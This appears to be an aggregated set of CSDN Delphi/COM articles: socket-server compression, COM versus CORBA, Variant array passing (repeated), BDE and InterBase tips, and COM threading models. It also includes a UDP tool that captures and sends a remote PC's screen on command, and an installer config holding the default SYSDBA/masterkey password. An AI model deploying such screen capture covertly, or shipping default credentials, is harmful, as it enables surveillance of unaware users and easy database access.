scktsrvr.exe其实是一堆TServerSocket,一个端口代表了一个TServerSocket,每个TServerSocket是基于多线程方式与客户端进行数据交换。它写了个TServerClientThread(在服务端中的客户端)的扩展
,多加了对客户端数据接收的管理解析，还有ActivityDateTime,GUID，一般不管它。但是我们用到的压缩只是跟这个GUID有关，其它费话少说。

Server接受一个Client连接,则加一个TServerClientThread到本地中，用来监控Client Read 和Close事件，所以Server中的scktsrvr中我们只要了解了TServerClientThread动作方式就行了。
(
题外话：Server Socket中有客户端连接后，记录ClientSocket.Handle,并且将根据这个Handle产生一个TServerClientWinSocket对象加入到Connections(TList)对象中,当任何对这个Client的动作也就是说Server 发送和接收数据都是根据这个Client Handle来进行的，相应的ServerSocket中的Connections中的ClientSocket也发生相应的变化。
)

有两个类跟这个TServerClientThread(实现ISendDataBlock接口)有关

1: TDataBlockInterpreter(对发送过来的数据进行解析InterpretData(Data: IDataBlock))
解析数据（水平有限，对它真是还是一知半解，有错请指出)
接口类IDataBlock,由TDataBlock通过TMemoryStream的读写来实现，其中Signature是其主要标识，说明这个IDataBlock的数据类型 ，TDataBlockInterpreter根据Signature来对应进行相应的调用， 如：
Client端连接后，在Server要运行应用服务器(Application Server),
Client端需要得到ServerName 列表,
Client端得到Server 的DataBroker的列表，
Client端断开连接后，Server要Close应用服务器(Application Server),
Client和Server的数据交换，也是由它来解析。
所以这个IDataBlock的数据很重要，而我们的压缩和解压就是针对于它，但是TDataBlockInterpreter是得到Data才对它解析，因而我们要在Send 和Recv 之前对它解压和压缩。这个任务在TSocketTransport身上。

2: TSocketTransport;(数据进行发送和接收, 实现ITransport接口)
Server端:
在Server端,TSocketTransport其实就是一个用来管理对ClientSocket实例，它将ClientSocket.Handle生成一个对象后，ClientSocket发送和接收过来的Data，在发送Data之前,它将调用InterceptOutgoing(Data: IDataBlock)函数，这个函数的功能是:
如果InterceptGUID <> ''，那么它将根据这个GUID生成一个COM(Obj)对象，Obj.DataOut(Data: IDataBlock),也就是我们注册的那个压缩的DLL中的那个压缩函数，将压缩过后的Data再发送出去。这就完成compress and send Data.(我试过那个压缩功能，压缩比大概是1/9,像zip压缩比差不多).
由客户端传过来的数据调用InterceptIncoming(Data: IDataBlock)函数，这就不多说了，Data := 解压后的Data. 压缩和解压过后的Data交由TDataBlockInterpreter去解析，完成一次数据交换。
Client端：
说完Server端，客户端的道理也是差不多的。唯一不同的是Server端中不调用ITransport.SetConnected()方法，因为它是根据ClientSocket.Handle生成的对象，也就是它是已经连接的对象,而Client端的TSocktConnection调用Connected := True时，其实就是调用ITransport.SetConnect将一个ClientSocket连接到Server端中的TServerSocket中，然后TServerSocket根据这个ClientSocket.Handle生成了一个TServerClientThread对象保存在本地中，开始对这个ClientSocket的监控(FD_Read, FD_Close消息事件).

注：
IDataBlock由TDataBlock实现，主要是管理TMemoryStream来存放数据
ITransport由TSocketTransport实现，主要是用TClientSocket来连接TServerSocket,并和它进行交换数据。
ISendDataBlock在Scktsrvr.exe中由TServerClientThread实现，通过TSocketTransport来发送数据.

说了这么多，想必各们很明白了吧。：）
各位还可以扩展一下，对压缩之外，还可以对这个流(Data:IDataBlock)进行加密，那更过瘾，如果实现了，多谢告诉我一声

mail:copy_paste@21cn.com


CSDN_文档中心_COM VS CORBA

Thursday, March 15, 2001

By Ish Singh

Introduction:

COM is sometimes referenced as Common Object Model but Microsoft officially calls it Component Object Model. Microsoft also developed DCOM as an extension of COM. DCOM was designed with distributed computing in perspective. CORBA stands for Common Object Request Broker Architecture and developed by Object Management Group (OMG). COM/DCOM and CORBA among others are object-oriented approaches for the use and development of software components. They are the competing architectures for application development in the client/server world. These architectures support distributed computing and provide support for interoperability and limited portability. Distributed computing technologies are necessary for creating flexible client/server systems. These distributed objects can exist anywhere on the system as they encapsulate the data and business logic within themselves. As heterogeneous systems are getting more and more popular, distributed objects are also getting popular, as they are really good at connecting these heterogeneous systems.

CORBA and DCOM are both designed for client/server style communication among distributed objects. In both technologies, a client invokes a method that is implemented by a remote object that acts as a server. The interface for such an object providing the service is defined in an Interface Definition Language (IDL). This keeps the object implementations hidden from the client. Both CORBA and COM communications are implemented like RPC and methods of remote objects are invoked on reference. The support for data types in both these technologies is limited to a few data types that can be mapped to multiple programming languages.

Origin:

  • COM/DCOM:

Its predecessor OLE (Object Linking and Embedding) was originally used for linking documents on Microsoft Win 3.1 OS. COM was developed to integrate components dynamically within a single address space. COM was designed to provide support of dynamic use of multiple vendor binary components in one single application. Component interactions are based on OLE2 interfaces and protocols. Although COM uses OLE2 interfaces and protocols, it is worthy to know that COM is not OLE. DCOM was developed as an extension of COM to allow network based interactions and allows processes to be spread across a network.

  • CORBA:

Common Object Request Broker Architecture was developed by Object Management Group (OMG). OBG is a consortium of hundreds of companies that are working to the adapt a standard architecture for distributed object computing. CORBA is based on Object Management Architecture, which was published in 1991 by the OMG. CORBA was developed to provide vendors with a standard architecture that allows them to develop applications using different languages, operating systems, and hardware and still provide the portability and interoperability.

Technical View:

  • COM/DCOM:

COM allows clients to invoke services provided by COM-compliant components by defining a binary compatibility specification and implementation. COM compliant components (COM Objects) provide a set of interfaces that allow a client to contact the Object using those interfaces only.

COM defines the binary structure between the client and the Objects and is the basis for interoperability between components written in multiple programming languages as long as the language compiler supports Microsoft抯 COM binary structure.

COM objects can have multiple interfaces but each class must have its own unique class ID (CLSID) and its interface must have Globally Unique Identifier (GUID) to avoid name collisions. Objects and interfaces are defined using Microsoft抯 IDL (Interface Definition Language). COM architecture does not allow for easy modification of the interfaces and their methods to help prevent potential version incompatibilities. COM developers are rather encouraged to build new interfaces to the objects to provide additional functionality. COM objects run inside of a server, and the server provides three ways for the clients to access COM Objects.

    1. In-process server: Client and Server run in the same memory process and communicate among each other using function calls.
    2. Local Object Proxy: This allows clients using an inter-process communication mechanism to access server running in a different process but on the same physical machine. This inter-process mechanism is also known as lightweight remote procedure call.
    3. Remote Proxy Object: This allows clients to access remote servers running on another machine. Clients and servers communicate using distributed computing environment RPC. Remote objects supporting this mechanism are called DCOM Servers.

Two major extensions to COM: MTS and MSMQ are provided by DCOM. DCOM Server Objects provide support for multiple threads. MTS (Microsoft Transaction Server) runs on Windows NT Server and provides transaction oriented processing and is based on the DTC (Distributed Transaction Coordinator). MTS is included in DCOM as a runtime middle-ware environment that provides asynchronous application operation with MSMQ and synchronous operation with RPC (Remote Procedure Call). DCOM also has remote garbage collection functionality built into it, which makes it a robust system.

  • CORBA:

CORBA is designed and structured to allow integration of multiple object systems written in different languages and running on different platforms. CORBA relies on ORB middle-ware for communication between the server and the client. ORB acts as an object that connects remote objects transparently. Each CORBA object exposes an interface that has a set of methods attached to it. ORB is responsible for finding the object implementation for the request and to format and communicate request to the CORBA server. ORB provides transparency to the client, and the client never needs to know about the location of the remote object and what language was used to implement it.

CORBA is based on Object Management Architecture (OMA), and OMA defines a broad range of services for building distributed applications. OMA services are divided into three layers named CORBAServices, CORBAFacilities, and ApplicationObjects. ORB communication infrastructure is required for applications to access these services. These services are actually definition of different categories of objects in OMA and define a broad range of functionality needed to support distributed applications.

    1. CORBAServices: are the necessary building blocks for developing distributed applications. These services provide asynchronous event management, transactions, persistence, concurrency, naming, relationships, and lifecycle management.
    2. CORBAFacilities: are not necessary for developing distributed applications but can be useful in some cases. These facilities provide information management, system management, task management, and user interface.
    3. ApplicationObjects: are dedicated to providing service to a class of application or a specific application. These are either basic services, support common facilities or application-specific services.

CORBA interfaces and data types are defined using OMG Interface Definition Language. Each interface抯 methods are also defined using OBG IDL. IDL is the key part of CORBA architecture that provides mapping of data types between CORBA and programming languages. IDL also allows for easy encapsulation of legacy code. IDL is an object-oriented interface definition language with syntactic similarities with C++. As all the interfaces are defined in IDL, CORBA specifications allow for client and objects to be written in different languages while keeping the details transparent from each other. CORBA uses IIOP (Internet Inter-ORB Protocol) for communication among various object request brokers using TCP as the network transport.

CORBA components include ORB Core, ORB Interface, IDL Stub, DII (Dynamic Invocation Interface), Object Adaptor, IDL Skeletons, and DSI (Dynamic Skeleton Interface). CORBA runtime infrastructure (ORB Core): is vendor specific and is not defined by CORBA. However, ORB interface is a standard interface to functions provided by all CORBA compliant ORBs. IDL processor generates stubs for each interface. This hides the low-level communication and provides a high-level, object-type specific API. DII is an alternative to the IDL stubs that provides a generic mechanism for constructing requests at run-time. Object Adaptor, provides ability to integrate alternative object technologies into the OMA. IDL skeletons are similar to IDL stubs but they provide the server-side (object implementation). Object Adaptor sends requests to the IDL skeletons, which in turn call, the appropriate methods in the object implementation.

Technical Comparison:

CORBA Relies on IIOP for communication with remote objects while DCOM relies on Object Remote Procedure Call (ORPC) for the same purpose. CORBA architecture is based on Object Request Broker while DCOM uses COM as its basis and for transaction processing it relies on MTS or MSMQ. CORBA specification is not vendor specific and hence CORBA applications can run on multiple hardware platforms. On the other hand, DCOM is Microsoft抯 proprietary architecture and runs only on hardware supported by Microsoft operating systems. CORBA allows for multiple inheritance while DCOM only provides single inheritance. DCOM uses ping every two minutes to check if the client is still alive, if for six minutes the client doesn抰 respond DCOM discards the client抯 request. CORBA on the other hand does not force the client to stay connected and does not use keep alive messaging. As DCOM uses keep alive messaging it is able to determine when to discard the request and it has built in garbage collection, while CORBA does not provide built in garbage collection mechanism.

Usage View:

  • COM/DCOM:

COM/DCOM is Microsoft抯 proprietary architecture and is only supported on Windows family of operating systems. However, third party vendors provide support for DCOM on UNIX systems. DCOM is based on native binary format hence offers faster execution but is not portable to other platforms. COM/DCOM components have access to Windows API and can potentially damage or compromise user抯 computing environment. DCOM provides basic support for distributed objects but no support for real time processing or situations requiring high reliability. Although COM has been available for a while it is not clear weather its flavor DCOM will be equally effective in widely distributed applications.

  • CORBA:

CORBA is only a specification and not an implementation, so it抯 hard for buyers to determine if the product in consideration is fully CORBA compliant or not. Also there are no defined test suites for determining CORBA compliance. It is necessary for users to perform hands-on evaluation of vendor products. CORBA is complex specification and require a considerable expertise for develop distributed objects and applications. On the other hand, it is easier than previously available technologies for developing distributed applications. Still thorough expertise in distributed systems design, distributed and multi-threaded programming and debugging, inter-networking, object oriented design, analysis, and programming is required.

Usage Comparison:

Cross-platform support is very extensive in CORBA while COM/DCOM is limited to Microsoft operating systems. CORBA as well as COM support components written in multiple languages. CORBA Objects are based on a standard specification published in 1991 while COM抯 specifications and code are continuously changing and the documents are available only in draft format. COM was originally designed to run on single machine and was not designed for large-scale networks. However, CORBA was designed from scratch with large-scale distributed applications in consideration.

CORBA products are available from a wide variety of vendors while COM/DCOM is only available from Microsoft. As CORBA specification is defined by OMG a consortium of 800+ companies, its highly likely to reflect the demands of the industry as opposed to COM/DCOM, which is proprietary to Microsoft and Microsoft retains the final say in COM/DCOM specifications.

Conclusion:

COM/DCOM and CORBA are both scalable and robust architectures for distributed computing and offer different advantages. However, due to their inherent differences they are suitable for different sizes and types of applications and scenarios. COM/DCOM is suitable if the systems are predominantly running Microsoft抯 operating systems and the geographic distribution is not very wide spread. CORBA is suitable for heterogeneous and widely distributed systems. Both technologies have similarities and differences in their architecture and hence should be considered before choosing either one. Also, many vendors are offering solutions that allow CORBA applications to interact with COM and vise versa. Seems like COM/DCOM and CORBA will continue to compete vigorously and still co-exist for a long time to come.

Reference:

Microsoft Corporation (2001). COM Specification.

Tallman, O., & Kain, J. (1998). COM versus CORBA: A Decision Framework.

Brake, M. (1998). Explaining CORBA.

Object Management Group (2001). The Common Object Request Broker: Architecture and Specification.

Microsoft Corporation (1998). Microsoft Component Services.

Raj, J. (1998). Common Object Request Broker Architecture.

Software Engineering Institute (1997). Component Object Model (COM), DCOM, and Related Capabilities.

Software Engineering Institute (1997). Common Object Request Broker Architecture.

Microsoft Corporation (1996). DCOM Technical Overview.


CSDN_文档中心_COMDCOM对象中通过Variant传递数组

因为COM/DCOM对象都不在Client程序运行的内存空间(内进程COM对象除外，即便如此，为了统一接口，内进程的COM也不得传递指针),而且在Win32中所有的程序都有自己独立的2GB的内存空间,程序与程序之间传递指针(内存地址)是毫无意义的，而数组、字符串等大量的数据在程序中都是分配一定的内存空间，然后用指针加内存偏移量来存取数据的，这时，如何在COM/DCOM对象中如何传递呢？
在Win32中引入了一新变量Variant，可以通过Variant传递数组。具体的实现方法，用Delphi实现为：

Server(COM/DCOM程序)端：
procedure TTestDCOM.Send4(Size: Integer; D1: OleVariant);
type
TData=array [0..999] of Byte;
Var
Data:TData;
i:Integer;
begin
for i:=0 to Size-1 do begin
Data[i]:=D1[i];
end;
end;

Cleint端:

Var
D1:OleVariant;
begin
D1:=VarArrayCreate([0,99],varByte);

{
D1[1]:=45;
.... file://将值存入D1中

}
S.Send4(99,D1); file://S是TestDCOM对象
end;

作者：高素梅

    配置数据引擎(BDE、SQL Link)的简单方法

    在数据库程序分发时，需要携带数据引擎(BDE、SQL Link)，并且在客户端安装完程序后还需要配置数据引擎，如用户名(username)、密码(Password)等等。如果手工配置的话，工作量比较大，这时，我们可利用InstallShield For Delphi轻松实现配置。在用InstallShield For Delphi制作安装程序时，在生成安装程序的目录里有一个*.iwz的文本文件，只要在[IDAPI Alias]片段中手工加入即可。 例如：

    [IDAPI Alias]

    username=SYSDBA

    password=masterkey

    安装程序后数据引擎自动配置完毕。

    制做快速按钮条的方法

    快速按钮条上的每一个图形按钮都代表着一项常用的功能，同时，这些图形按钮尺寸较普通的图标大，可以放置更大、更形象的图形，甚至可以带上简短的提示，这对于用户执行最常用的功能很有帮助。基于上述原因，越来越多的Windows应用程序采用快速按钮条来改善应用程序的界面。笔者在用Delphi编程时，采用了两种不同的方法来实现快速按钮条，本文结合制作一个具有两组、共六个按钮的快速按钮条的实例，列出了这两种方法的具体设计步骤。

    1.组合生成法

    (1)在窗体上放置一个Panel1对象，作为图形按钮的载体。

    (2)设置Panel1的属性Caption为空，属性Align为alTop,调整其高度至合适尺寸。

    (3)在Panel1上放置六个SpeedButton按钮(选用SpeedButton，是因它具有浮动特性)。

    (4)在Panel1上放置两个Bevel对象，调整其位置和大小，用于分隔按钮组。

    (5)调整SpeedButton1的大小及在Panel1中的位置。

    (6)选择SpeedButton1，设置其属性Flat为True。

    (7)单击SpeedButton1的属性Glyph所对应的省略号小按钮，打开PictureEditor窗口，选择一个象征“查询”的图标。设置属性ShowHint为True,属性Hint为“查询”。

    (8)按步骤（5）至（7）的方法，分别设置好其余几个SpeedButton按钮的属性。

    这样，一个快速按钮条就制作完成了。运行时，快速按钮均以浮动方式显示，当鼠标移至其上时，即显示按钮外框，并显示小提示。

    2.借用ToolBar生成法

    (1)在窗体上放置一个ToolBar1对象。

    (2)设置ToolBar1的属性EdgeBorders.ebLeft、ebTop、ebRight、ebButtom均为True；属性Flat为True;调整ToolBar1的大小至合适尺寸。

    (3)选择ToolBar1，用右键点出快速选单，分别点击NewButton和NewSeparator增加六个按钮ToolButton和两条分隔栏线。

    (4)任意选择一个ToolButton按钮，调整其大小至合适尺寸，所有的ToolButton也同时被调整好。

    (5)设置ToolBar1的属性BorderWidth为3，以调整ToolButton的位置。

    (6)在窗体上放置一个ImageList1对象，设置它的属性Height和Width的数值，以适应较大尺寸的图像。

    (7)双击ImageList1，通过“Add”按钮分别装入六个图像，与ToolBar1中的六个ToolButton一一对应。

    (8)设置ToolBar1的属性Images为ImageList1。

    (9)设置六个ToolButton的属性ShowHint为True，并分别设置各自的小提示属性Hint。

    (10)还可以设置ToolBar1的HotImages指定鼠标指向按钮时的图片集。

    采用ToolBar实现的快速按钮条在外观上与第一种方法制作的类似。

    以上两种方法均能实现快速按钮条，但各有千秋：第一种设计过程较为简单；第二种方法则提供了更多的功能，如可用HotImages指定鼠标指向按钮时的图片集。读者不妨从中选择一种，并可继续完善其功能。

    建立临时表的方法

    数据输入是开发数据库程序的必然环节。在Client/Server结构中，客户端可能要输入一批数据后，再向服务器的后台数据库提交，这就需要在本地(客户端)建立临时数据表来存储用户输入的数据，待提交后，清除本地数据表。这种方法的好处是：提高输入效率，减小网络负担。

    由于用户一次输入的数据量一般情况下较小(不会超过几百条记录)，所以临时表可以建立在内存中，这样处理速度较快。临时表创建有如下两种方法：

    1.使用查询控件创建临时表

    第1步：在窗体上放入查询控件(TQuery)，并设置好所连接的数据表。

    第2步：添加如下语句：

    TQuery. CachedUpdates=True;

    TQuery. RequestLive=True。

    第3步：在原有的SQL语句后加入一条Where子语句，要求加入这条Where子语句后SQL查询结果为空。

    例如：

    SELECT Biolife."Species No", Category, Common_Name, Biolife."Species Name", Biolife."Length (cm)", Length_In, Notes, Graphic

    FROM "biolife.db" Biolife

    where Biolife.Category=′A′ and Biolife.Category=′B′

    这样临时表就建立好了。

    2.使用代码创建临时表

    函数代码如下：

    function CreateTableInMemory(const AFieldDefs:TFieldDefs):

    TDataSet;

    var TempTable:TClientDataSet;

    begin

    TempTable:=nil;

    Result:=nil;

    if AFieldDefs〈〉nil then

    begin

    try

    TempTable:=TClientDataSet.Create(Application);

    TempTable.FieldDefs.Assign(AFieldDefs);

    TempTable.CreateDataSet;

    Result:=(TempTable as TDataSet);

    Except

    if TempTable〈〉nil then TempTable.Free;

    Result:=nil;

    raise;

    end

    end

    end;

    在程序中按如下方法调用：

    procedure TForm1.Button1Click(Sender: TObject);

    var ADataSet:TDataSet;

    begin

    ADataSet:=TDataSet.Create(Self);

    with ADataSet.FieldDefs do

    begin

    Add(′Name′,ftString,30,False);

    Add(′Value′,ftInteger,0,False);

    end;

    with DataSource1 do

    begin

    DataSet:=CreateTableInMemory(ADataSet.FieldDefs);

    DataSet.Open;

    end;

    ADataSet.Free;

    end;

    这样，临时表就创建完成。

    方法1使用简单，但由于利用了查询控件，清空数据时需要查询服务器后台数据库，所以速度稍慢，而且不适用于临时表中各个字段由几个数据表的字段拼凑而成的情况。方法2适用范围广、速度快，但需要编写代码。

    在InterBase数据库中使用函数

    程序员可能在用InterBase作为后台数据库时，常会为其提供的函数过少而感到使用不便(只有四个)，无法方便地编写出复杂的存储过程。InterBase本身无法编写函数，但它可以使用外部函数(调用DLL中的函数)。下例中说明如何在InterBase 中声明SUBSTR函数。

    DECLARE EXTERNAL FUNCTION SUBSTR

    CSTRING(80), SMALLINT, SMALLINT

    RETURNS CSTRING(80)

    ENTRY_POINT "IB_UDF_substr" MODULE_NAME "ib_udf"

    其中：MODULE_NAME为DLL的名称，ENTRY_POINT为函数名。

    声明后便可以使用，例如：

    select SUBSTR(country)

    from country

    本例使用的是Delphi安装时自带的IBLocal数据库，用户也可以自己编写函数来扩充InterBase

用Delphi实现远程屏幕抓取
山东巨力股份有限公司CAD中心
檀革勤
---- 在网络管理中，有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然，市面上有很多软件可以实现该功能，有些甚至可以进行远程控制，但在使用上缺乏灵活性，如无法指定远程计算机屏幕区域的大小和位置，进而无法在一屏上同时监视多个屏幕。其实，可以用Delphi自行编制一个灵活的远程屏幕抓取工具，简述如下。

---- 一、软硬件要求。

---- Windows95/98对等网，用来监视的计算机（以下简称主控机）和被监视的计算机（以下简称受控机）都必须装有TCP/IP 协议，并正确配置。如没有网络，也可以在一台计算机上进行调试。

---- 二、实现方法。

---- 编制两个应用程序，一个为VClient.exe，装在受控机上，另一个为VServer.exe，装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe，VClient.exe得到指令后，在受控机屏幕上选取指定区域，生成数据流，将其发回主控机，并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出，该方法的关键有二：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输数据。

---- UDP(User Datagram Protocol，意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同，它是一种非连接的传输协议，没有确认机制，可靠性不如TCP，但它的效率却比TCP高，用于远程屏幕监视还是比较适合的。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程上较为简单，故选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。

---- 三、创建演示程序。

---- 第一步，编制VClient.exe文件。新建Delphi工程，将默认窗体的Name属性设为“Client”。加入TNMUDP控件，Name属性设为“CUDP”；LocalPort属性设为“1111”，让控件CUDP监视受控机的1111端口，当有数据发送到该口时，触发控件CUDP的OnDataReceived事件；RemotePort属性设为“2222”，当控件CUDP发送数据时，将数据发到主控机的2222口。

---- 在implementation后面加入变量定义

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }

为Client的OnCreate事件添加代码：
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

为控件CUDP的OnDataReceived事件添加代码：
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;

其中ScreenCap是自定义函数，截取屏幕指定区域，
代码如下：
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”，
并编译。

---- 第二步，编制VServer.exe文件。新建Delphi工程，将窗体的Name属性设为“Server”。加入TNMUDP控件，Name属性设为“SUDP”；LocalPort属性设为“2222”，让控件SUDP监视主控机的2222端口，当有数据发送到该口时，触发控件SUDP的OnDataReceived事件；RemotePort属性设为“1111”，当控件SUDP发送数据时，将数据发到受控机的1111口。加入控件Image1，Align属性设为“alClient”；加入控件Button1，Caption属性设为“截屏”；加入控件Label1，Caption属性设为“左：上：右：下”；加入控件Edit1，Text属性设为“0:0:100:100”；加入控件Label2，Caption属性设为“受控机IP地址”；加入控件Edit2，Text属性设为“127.0.0.1”；
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

为Server的OnCreate事件添加代码：
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

为控件Button1的OnClick事件添加代码：
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

为控件SUDP的OnDataReceived事件添加代码：
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”，并编译。

---- 四、测试。
---- 1、本地机测试：在本地机同时运行Vserver.exe和VClient.exe，利用程序的默认设置，即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”，将程序的“客户IP地址”设为该地址 ，同样正常运行。

---- 2、远程测试：选一台受控机，运行VClient.exe；另选一台主控机，运行VServer.exe，将“受控机IP地址”即Edit2的内容设为受控机的IP地址，“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法，至于在主控机上一屏同时监视多个受控机，读者可自行完善。以上程序，在Windows98对等网、Delphi 4.0下调试通过。


CSDN_文档中心_COM/DCOM中如何传递数组

因为COM/DCOM对象都不在Client程序运行的内存空间(内进程COM对象除外，即便如此，为了统一接口，内进程的COM也不得传递指针),而且在Win32中所有的程序都有自己独立的2GB的内存空间,程序与程序之间传递指针(内存地址)是毫无意义的，而数组、字符串等大量的数据在程序中都是分配一定的内存空间，然后用指针加内存偏移量来存取数据的，这时，如何在COM/DCOM对象中如何传递呢？
在Win32中引入了一新变量Variant，可以通过Variant传递数组。具体的实现方法，用Delphi实现为：

Server(COM/DCOM程序)端：
procedure TTestDCOM.Send4(Size: Integer; D1: OleVariant);
type
TData=array [0..999] of Byte;
Var
Data:TData;
i:Integer;
begin
for i:=0 to Size-1 do begin
Data[i]:=D1[i];
end;
end;

Cleint端:

Var
D1:OleVariant;
begin
D1:=VarArrayCreate([0,99],varByte);

{
D1[1]:=45;
.... //将值存入D1中

}
S.Send4(99,D1); //S是TestDCOM对象
end;


CSDN_文档中心_COM/DCOM中如何传递数组:

因为COM/DCOM对象都不在Client程序运行的内存空间(内进程COM对象除外，即便如此，为了统一接口，内进程的COM也不得传递指针),而且在Win32中所有的程序都有自己独立的2GB的内存空间,程序与程序之间传递指针(内存地址)是毫无意义的，而数组、字符串等大量的数据在程序中都是分配一定的内存空间，然后用指针加内存偏移量来存取数据的，这时，如何在COM/DCOM对象中如何传递呢？
在Win32中引入了一新变量Variant，可以通过Variant传递数组。具体的实现方法，用Delphi实现为：

Server(COM/DCOM程序)端：
procedure TTestDCOM.Send4(Size: Integer; D1: OleVariant);
type
TData=array [0..999] of Byte;
Var
Data:TData;
i:Integer;
begin
for i:=0 to Size-1 do begin
Data[i]:=D1[i];
end;
end;

Cleint端:

Var
D1:OleVariant;
begin
D1:=VarArrayCreate([0,99],varByte);

{
D1[1]:=45;
.... //将值存入D1中

}
S.Send4(99,D1); //S是TestDCOM对象
end;


CSDN_文档中心_COM服务器中关于实例化和线程模型的说明（Description of Instancing and Threading Models in COM-servers）

#89: Description of Instancing and Threading Models in COM-servers

When you create a new COM object, you must define the Instancing and Threading Model, which will be used in your COM object. For example, when you use the Automation Object Wizard (select File|New from main menu, click the ActiveX tab and select Automation Object Wizard item) you must select a desired values of Instancing/Threading Model from comboboxes.

In this article I'll include a short description for each value.

1. Instancing refers to how many instances of the COM object are created for a request of client. You can select a one option from three available items: Single Instance, Multiple Instance and Internal.

a) Single Instance - allows only a single COM interface for each executable. So creating multiple single instances results in creating multiple copies of the server application. This option is commonly used for multiple document interface (MDI) applications.

b) Multiple Instance - specifies that multiple applications can connect to the object. Any time a client requests service, a separete instance of the server gets invoked. That is, there can be multiple instances in a single executable. For example, any time a user attempts to open the Windows Explorer, a separate Explorer is created

c) Internal - means the object can only be created internally. An external application cannot create an instance of the object directly. For example, a word processor application may have an internal document object that can only be created by calling a method of the application that will create the document object.

2. The Threading Model refers to how your object is advertised to the client applications via its thread support. You can select one from the next options: Single, Apartment, Free or Both.

a) Single - no thread support. Client requests are serialized by the standard calling mechanism. serialized by the calling mechanism. With this threading model the clients are handled one at a time so no threading
support is needed.

b) Apartment - different objects from the same server can be called on different threads or different clients, but each object is called only from that one thread. If two clients need to use the same object, they have to take turns. With this threading model the instance data is safe, global data must be protected using critical sections or some other form of serialization. Of course, the thread's local variables are reliable across multiple calls.

c) Free - clients can call any method of object from any thread at any time. Objects can handle any number of threads at any time. That is, more than one client can share the same object. Objects must protect all instance and global data using critical sections or some other form of serialization. Thread local variables are not reliable across multiple calls. Primarily used for distributed DCOM environments.

